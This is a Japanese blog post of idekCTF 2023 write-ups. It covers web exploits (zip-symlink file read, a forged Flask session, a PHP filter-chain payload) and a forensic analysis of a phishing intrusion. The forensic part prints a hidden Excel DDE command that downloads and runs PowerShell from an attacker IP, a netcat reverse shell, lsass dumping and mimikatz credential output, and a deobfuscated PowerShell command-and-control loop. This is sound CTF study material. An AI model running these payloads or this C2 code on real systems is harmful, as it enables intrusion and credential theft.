はまやんはまやんはまやん

hamayanhamayan's blog

idekCTF 2023 Writeup

[web] Readme

/just-read-itというエンドポイントが用意されている。
バリデーションチェックが通るようにjsonを投げるとフラグがもらえるようだ。

randomDataに乱数が入っていて、一部[12625:]の領域にパスワードハッシュが格納されている。
ordersには整数の配列を指定可能で、指定された数だけrandomDataからデータを取り出してくれる。
ordersによる取り出しが終わった後に32bytes分取り出しを行ってそれがパスワードハッシュと一致すればフラグがもらえる。
つまり、ordersによる取り出しで12625bytes分取り出せればいいのだが、これは個数制限があってできないように見える。

色々実験していると

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {
    ...
    if size >= 100 {
        reader = bufio.NewReader(reader)
    }

ここが原因で何やら不思議なことが起きている。
randomDataはシードが固定なので常に同じバイト列が出てくるのを利用してどれだけバッファのseekが進んでいるかを確認してみる。
{"orders":[100,1]}のようにしてみると、101バイトシークが進むはずなのだが、4097バイト進む。
理由はさっぱりわからない。
{"orders":[100,100,1]}とすると8193バイト進む。
なので100を指定すると4096バイト分進めることができるらしい。
12625バイト分進めたいので、40963=12288であと337バイト。993=297であと40バイト。
つまり、12625 = 4096*3 + 99*3 + 40なので{"orders":[100,100,100,99,99,99,40]}でフラグ獲得。

[web] SimpleFileServer

zipにシンボリックリンクを入れておくテクを使えばLFIができる。手順は以下の通り。

  1. ln -s /tmp/database.db database.db みたいにLFIしたいパスでシンボリックリンク作成
  2. zip -ry x.zip database.db でzipにする
  3. x.zipを送って、指定のファイル名を取得してやるとLFI可能

database.dbに面白い情報はないが、admin権限が付いているユーザーはいないということが分かった。
他にもいろいろ取ってみる。

/tmp/server.logからサーバの起動時刻がわかる。

[2023-01-13 23:04:17 +0000] [9] [INFO] Starting gunicorn 20.1.0
[2023-01-13 23:04:17 +0000] [9] [INFO] Listening at: http://0.0.0.0:1337 (9)
[2023-01-13 23:04:17 +0000] [9] [INFO] Using worker: sync
[2023-01-13 23:04:17 +0000] [15] [INFO] Booting worker with pid: 15
[2023-01-13 23:04:17 +0000] [16] [INFO] Booting worker with pid: 16
[2023-01-13 23:04:18 +0000] [17] [INFO] Booting worker with pid: 17

/app/config.pyから隠されていたSECRET_OFFSETの値がわかる。

import random
import os
import time

SECRET_OFFSET = -67198624
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

以上の情報からSECRET_KEYが推測可能。
SECRET_KEYが分かれば、flaskのsessionの改ざんができる。
session情報もcookieに入っているので、改ざんできればadmin権限にも昇格可能。

2023-01-13 23:04:17はunixtimeにすると1673651057なので、この周辺で鍵を作る。
ミリ秒まで考慮していることから適当に探索範囲を選んでやる。

import random
import os
import time

BASE = 1673651057 * 1000
SECRET_OFFSET = -67198624 * 1000
for d in range(-10000,1000):
    random.seed(BASE + SECRET_OFFSET + d)
    print("".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", ""))

出力をdic.txtとして保存しておきflask-unsign -c "eyJhZG1pbiI6bnVsbCwidWlkIjoiZXZpbG1hbiJ9.Y8JMTQ.g-cgmU0kj0uleP9o1WATgycGdGE" --unsign --wordlist dic.txt --no-literal-evalで辞書攻撃すると鍵がわかる。

84787d274d6b7e03d94ce2dcbfe85bf1

flask-unsign --sign --secret 84787d274d6b7e03d94ce2dcbfe85bf1 --cookie "{'admin': True, 'uid': 'evilman'}"Cookieを作ってセットして/flagを踏めば答え。

[web] Paywall

flagファイルを普通に読み出すと読み出せない。
FREEという文字列が入っていれば読み出し可能だが…という問題。

phpのfilterを使えば変換後に任意の文字列を先頭に持ってくることができるので、flagファイルをベースにして変換を実施してFREEを先頭にもってこよう。

synacktiv/php_filter_chain_generatorを使ってpayloadをつくる。

?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=flag

とやると、

FREEGyQpQ1BSRU1JVU0gLSBpZGVre1RoNG5rX1VfNF9TdWJzY1IxYjFuZ190MF9vdXJfbjN3c1BIUGFwZXIhfQ+-AD0APQ+-AD0APQ+-AD0APQ+-AD0APQ+AD0APQ-

と出てきた。これを復元するときは、base64デコードするだけでいい。フラグが出てくる。

[forensic] HiddenGem Mixtape 1: Initial Access 解けなかった

HiddenGem.7zの方はパスワードがかかっていて、次の発展問題で使用されるっぽい。
とりあえず、2023-01-07T194857_HiddenGem.zipの方を解析してみる。
解凍するとvhdxファイルがある。FTK Imagerで開く。

「メールで受信した文書ファイル」があるらしいので探す。
C:\Users\IEUser\Documents\Policy Update 2023-01-08T01_37_35+07_00.emlというファイルがある。

X-Pm-Content-Encryption: end-to-end
X-Pm-Origin: internal
Subject: Policy Update
From: Jake Weary <j4k3w34ry-pr0t0nm41l@protonmail.com>
Date: Sat, 07 Jan 2023 18:37:35 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------448eb183760f1434a460fff4086e8bf7
To: blu3dr490n@protonmail.com <blu3dr490n@protonmail.com>
X-Attached: Policy.7z
Message-Id: <H2jIbqy73OjXavbQI-QcTJFDM-sHd7XSZWInhmJpNkrKIyLxX9lhg-hsK9rt2-yzDyz7b4qtIutKVlvPkRbmm3MDIYhovDkRL4hhfwNxlf8=@protonmail.com>
X-Pm-Spamscore: 0
Received: from mail.protonmail.ch by mail.protonmail.ch; Sat, 07 Jan 2023 18:37:47 +0000
X-Original-To: blu3dr490n@protonmail.com
Return-Path: <j4k3w34ry-pr0t0nm41l@protonmail.com>
Delivered-To: blu3dr490n@protonmail.com

-----------------------448eb183760f1434a460fff4086e8bf7
Content-Type: multipart/related;boundary=---------------------fdd96beab7c150c9b923a38cfb866162

-----------------------fdd96beab7c150c9b923a38cfb866162
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBmb250LXNpemU6IDE0cHg7Ij48c3BhbiBz
...
ICA8L2Rpdj4KPC9kaXY+Cg==
-----------------------fdd96beab7c150c9b923a38cfb866162--
-----------------------448eb183760f1434a460fff4086e8bf7
Content-Type: application/octet-stream; filename="Policy.7z"; name="Policy.7z"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Policy.7z"; name="Policy.7z"

N3q8ryccAAT1emvqsFgBAAAAAAAyAAAAAAAAALAdG4k46ZCmmR+X4XNaj/JiVsvZHhSnUQp78+TU
...
Uw8s3sB0bDq+ZPe73p7jVoeKDICCCgGyNCbCAAA=
-----------------------448eb183760f1434a460fff4086e8bf7--

中身はこんな感じ。
base64encodedのものが2つあるので、中身を見てみる。

<div style="font-family: Arial; font-size: 14px;"><span style="line-height:1.5"><span>We have just completed the Security Baseline for employees and personal computers due to some information leaks, so it is necessary to update the company's information security policy.</span></span><div style="line-height:1.5"><br></div><div style="line-height:1.5"><span>In order to ensure the Company's internal information security, I request you to read and master the content of the policy</span></div><div style="line-height:1.5"><br></div><div style="line-height:1.5"><span>This is a confidential document, so it should be protected</span></div><span style="line-height:1.5"></span><span style="line-height:1.5">Password is Privacy4411@2023!!!</span><br></div><div style="font-family: Arial; font-size: 14px;"><br></div>
<div class="protonmail_signature_block" style="font-family: Arial; font-size: 14px;">
    <div class="protonmail_signature_block-user protonmail_signature_block-empty">
        
            </div>
    
            <div class="protonmail_signature_block-proton">
        Sent with <a target="_blank" href="https://proton.me/" rel="noopener noreferrer">Proton Mail</a> secure email.
    </div>
</div>

片方はメール本文。パスワードはPrivacy4411@2023!!!
もう片方はPolicy.7zというファイル。
解凍するとPolicy.xlsxというファイルが出てくる。
oleid Policy.xlsxでとりあえず解析してみるが、何も出てこない。

7zipでxlsxを解凍して中身を漁ってみると、xl/externalLinks/externalLink1.xmlに面白い記載がある。

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<externalLink xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main"><ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic="/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\&quot;hxxp://172.21.20[.]96/windowsupdate.ps1\&quot;);IEX $e"><ddeItems><ddeItem name="_xlbgnm.A1" advise="1"/><ddeItem name="StdDocumentName" ole="1" advise="1"/></ddeItems></ddeLink></externalLink>

つまり、cmd /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\&quot;hxxp://172.21.20[.]96/windowsupdate.ps1\&quot;);IEX $eが実行されている。
感染経路は分かったが、ここ止まりな気がするな。

PowerShellの動きを追っていけばよさそうなので、次はWindowsイベントログを見てみる。
c:\Windows\System32\winevt\を見てみる。
ファイルサイズでソートすると、Sysmonが動いているみたい。
一番ファイルサイズの大きい、Microsoft-Windows-Sysmon%4Operational.evtxをまずは見てみる。
Eric Zimmerman's toolsのEvtxECmdでcsvに変換して適当にみていこう。

.\EvtxECmd.exe -f .\Microsoft-Windows-Sysmon%4Operational.evtx --csv . --csvf sysmon-operational.csv

Event ID        Count
1               2,780
4               9
5               2,473
16              1

コマンド履歴から検索すると2023-01-07 18:49:55に実行履歴が残っていた。
移行タイムゾーンは全部UTC(のはず)。

{"EventData":{"Data":[{"@Name":"RuleName","#text":"-"},{"@Name":"UtcTime","#text":"2023-01-07 18:49:55.186"},{"@Name":"ProcessGuid","#text":"0df7607b-bed3-63b9-5b00-000000001d00"},{"@Name":"ProcessId","#text":"4020"},{"@Name":"Image","#text":"C:\\Windows\\System32\\cmd.exe"},{"@Name":"FileVersion","#text":"6.1.7601.17514 (win7sp1_rtm.101119-1850)"},{"@Name":"Description","#text":"Windows Command Processor"},{"@Name":"Product","#text":"Microsoft® Windows® Operating System"},{"@Name":"Company","#text":"Microsoft Corporation"},{"@Name":"OriginalFileName","#text":"Cmd.Exe"},{"@Name":"CommandLine","#text":"CMD.EXE /c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\\\"http://172.21.20.96/windowsupdate.ps1\\\");IEX $e"},{"@Name":"CurrentDirectory","#text":"C:\\Users\\IEUser\\Documents\\"},{"@Name":"User","#text":"IEWIN7\\IEUser"},{"@Name":"LogonGuid","#text":"0df7607b-be4a-63b9-0f58-040000000000"},{"@Name":"LogonId","#text":"0x4580F"},{"@Name":"TerminalSessionId","#text":"1"},{"@Name":"IntegrityLevel","#text":"High"},{"@Name":"Hashes","#text":"SHA256=DB06C3534964E3FC79D2763144BA53742D7FA250CA336F4A0FE724B75AAFF386"},{"@Name":"ParentProcessGuid","#text":"0df7607b-be7a-63b9-4800-000000001d00"},{"@Name":"ParentProcessId","#text":"4036"},{"@Name":"ParentImage","#text":"C:\\Program Files\\Microsoft Office\\Office15\\EXCEL.EXE"},{"@Name":"ParentCommandLine","#text":"\"C:\\Program Files\\Microsoft Office\\Office15\\EXCEL.EXE\" /dde"},{"@Name":"ParentUser","#text":"IEWIN7\\IEUser"}]}}

ふむ。ユーザーをIEWIN7\IEUserに絞ってみてみよう。
たくさんきな臭いコマンドが実行されている

リバースシェル張ってる
"C:\Users\IEUser\AppData\Local\Temp\SecurityUpdate.exe" 172.21.20.96 4444 -e cmd.exe

まずは調査
whoami
arp -a
ipconfig /all

https://gblogs.cisco.com/jp/2022/09/talos-lazarus-three-rats/
資格情報を平文で保存させるよう強制してあとで回収するためのコマンド
REG   ADD HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

変名しているが、lsassのメモリダンプだろう。
C:\Windows\System32\UpdateAgent.exe  -accepteula -ma lsass.exe C:\Windows\System32\error

不明だが、怪しすぎる
2023-01-07 18:51:43 | C:\Windows\System32\mimikatz.exe
rundll32 C:\Windows\system32\generaltel.dll,RunInUserCxt DSkyyRXNN0SeFNpE.1   Census

バックドア作成。Usersをみてもnetadminは無いので、使われなかったっぽい?
net  user netadmin S3cr3tpa5sw0rD /add

ログ削除
2023-01-07 18:51:56 | wevtutil  cl Security

なんだっけ
rdpclip

~~~~

2023-01-07 19:03:03 | FTKImagerとかKAPEとかでアーティファクト収集している

これだけか。
ハッシュ確認しておく。

3dc5fdf62992e1bd1ab84e05d8e21765667315525d687b3900936dff32bd9de9  error.dmp  
    https://www.virustotal.com/gui/file/3dc5fdf62992e1bd1ab84e05d8e21765667315525d687b3900936dff32bd9de9  
    2023-01-14 03:54:18 UTCに上がってる笑  
61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1  mimikatz.exe  
    https://www.virustotal.com/gui/file/61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1  
    普通にmimikatz  
3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  SecurityUpdate.exe  
    https://www.virustotal.com/gui/file/3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  
    セキュリティベンダの判定ではnetcatという線が優勢。呼び出され方やサイズを見てもnetcatっぽい  
5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61  UpdateAgent.exe  
    https://www.virustotal.com/gui/file/5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61  
    procdump

特に他にイベントログに何もない。
error.dmpをmimikatzで開いてみる。

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )        
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )       
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/       

mimikatz # sekurlsa::minidump ../../error.dmp   
Switch to MINIDUMP : '../../error.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : '../../error.dmp' file for minidump...

Authentication Id : 0 ; 284687 (00000000:0004580f)
Session           : Interactive from 1
User Name         : IEUser
Domain            : IEWIN7
Logon Server      : IEWIN7
Logon Time        : 2023/01/08 3:47:38
SID               : S-1-5-21-1610009768-122519599-941061767-1000
        msv :
         [00010000] CredentialKeys
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
         [00000003] Primary
         * Username : IEUser
         * Domain   : IEWIN7
         * NTLM     : 022156166aa2ab0ce4de16a45098d745
         * SHA1     : ece4d499be6e18ebf42225da680e702abf639db3
        tspkg :
        wdigest :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : idek{crEDentia
        kerberos :
         * Username : IEUser
         * Domain   : IEWIN7
         * Password : (null)
        ssp :
        credman :

...

wdigestの平文パスワードが取れている!なるほどね。

IEWIN7\IEUser:idek{crEDentia
IEWIN7\sshd_server:D@rj33l1ng

以上の認証情報が手に入る。まだ、フラグの先頭か…
とりあえず攻撃者はsshd_serverに横展開可能になったということみたいなので、こっちのユーザーでもうちょっと捜査してみる。

sysmonのoperationalを見てみると、3回接続履歴がある。

  • 2023-01-07 18:46:53
  • 2023-01-07 19:00:40
  • 2023-01-07 20:17:41

最後の1つはFTK Imagerが使われた後なので関係無しと判断して、2回接続履歴がある。

…うーん。分からず。
終了後のDiscordを見ると、powershellの実行内容についてログが残っているので、それを解析すればいいようだ。
ちゃんと全部イベントログを見るべきだったか…?と思ったが、試しにhayabusaを使ってみるとmedで検知されてきた。
こっち使えば良かったな…

2023-01-08 03:50:09.349 +09:00,IEWIN7,PwSh,4104,med,13,Potentially Malicious PwSh,"ScriptBlock: & ( $sHEllid[1]+$sheLLiD[13]+'X')( NEW-obJEct Io.cOMPReSSiON.DEFlAteStrEAM( [SyStem.iO.mEMOrySTream] [SysteM.cOnVerT]::FRomBase64STRINg( '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' ) , [sySteM.IO.ComprESsiON.cOmpresSiONMODe]::dEcomPrEss)|fOReach-OBJECt{NEW-obJEct iO.sTReAMrEAder( $_ , [TExT.EncOdiNg]::AscIi)} | fOREacH-obJeCt{$_.reADToend( )})"

頑張って難読化解除すると

$bwqvRnHz99 = (104,116,116,112,115,58,47,47,112,97,115,116,101);
$bwqvRnHz99 += (98,105,110,46,99,111,109,47,104,86,67,69,85,75,49,66);
$flag = [System.Text.Encoding]::ASCII.GetString($bwqvRnHz99);
$s='172.21.20.96:8080';
$i='eef8efac-321d465e-e9d053a7';
$p='http://';
$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/eef8efac -Headers @{"X-680d-47e8"=$i};
while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/321d465e -Headers @{"X-680d-47e8"=$i}).Content;
if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;
$r=Out-String -InputObject $r;
$t=Invoke-WebRequest -Uri $p$s/e9d053a7 -Method POST -Headers @{"X-680d-47e8"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

のような感じになり、$flagにpastebinのURLが入っているので、アクセスするとフラグが書いてある。